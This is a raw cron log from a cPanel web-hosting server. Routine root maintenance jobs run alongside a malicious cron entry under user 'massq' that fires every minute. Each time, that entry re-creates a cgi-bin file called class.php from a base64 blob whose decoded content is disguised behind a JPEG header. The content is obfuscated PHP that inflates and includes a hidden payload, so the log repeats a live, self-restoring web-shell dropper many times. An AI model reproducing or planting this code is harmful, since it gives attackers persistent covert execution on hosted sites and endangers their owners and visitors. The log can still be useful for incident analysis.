Aug 31 06:25:01 server CROND[24526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:25:01 server CROND[24522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:25:01 server CROND[24523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:25:01 server CROND[24528]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 06:26:01 server CROND[25451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:26:01 server CROND[25452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:26:01 server CROND[25453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:27:01 server CROND[25827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:27:01 server CROND[25830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:27:01 server CROND[25829]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:27:01 server CROND[25828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:28:01 server CROND[26199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:28:01 server CROND[26201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:28:01 server CROND[26200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:29:01 server CROND[26564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:29:01 server CROND[26565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:29:01 server CROND[26566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:30:01 server CROND[26963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:30:01 server CROND[26964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:30:01 server CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:30:01 server CROND[26972]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:30:01 server CROND[26967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:30:01 server CROND[26971]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:30:01 server CROND[26969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:30:01 server CROND[26970]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:31:01 server CROND[27900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:31:01 server CROND[27902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:31:01 server CROND[27901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:32:01 server CROND[28265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:32:01 server CROND[28270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:32:01 server CROND[28273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:33:01 server CROND[28638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:33:01 server CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:33:01 server CROND[28640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:34:01 server CROND[29024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:34:01 server CROND[29025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:34:01 server CROND[29026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:35:01 server CROND[29420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:35:01 server CROND[29422]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:35:01 server CROND[29423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:35:01 server CROND[29429]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 06:35:01 server CROND[29430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:35:01 server CROND[29427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:35:01 server CROND[29428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:35:01 server CROND[29431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:35:01 server CROND[29426]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:36:01 server CROND[30376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:36:01 server CROND[30377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:36:01 server CROND[30378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:37:01 server CROND[30772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
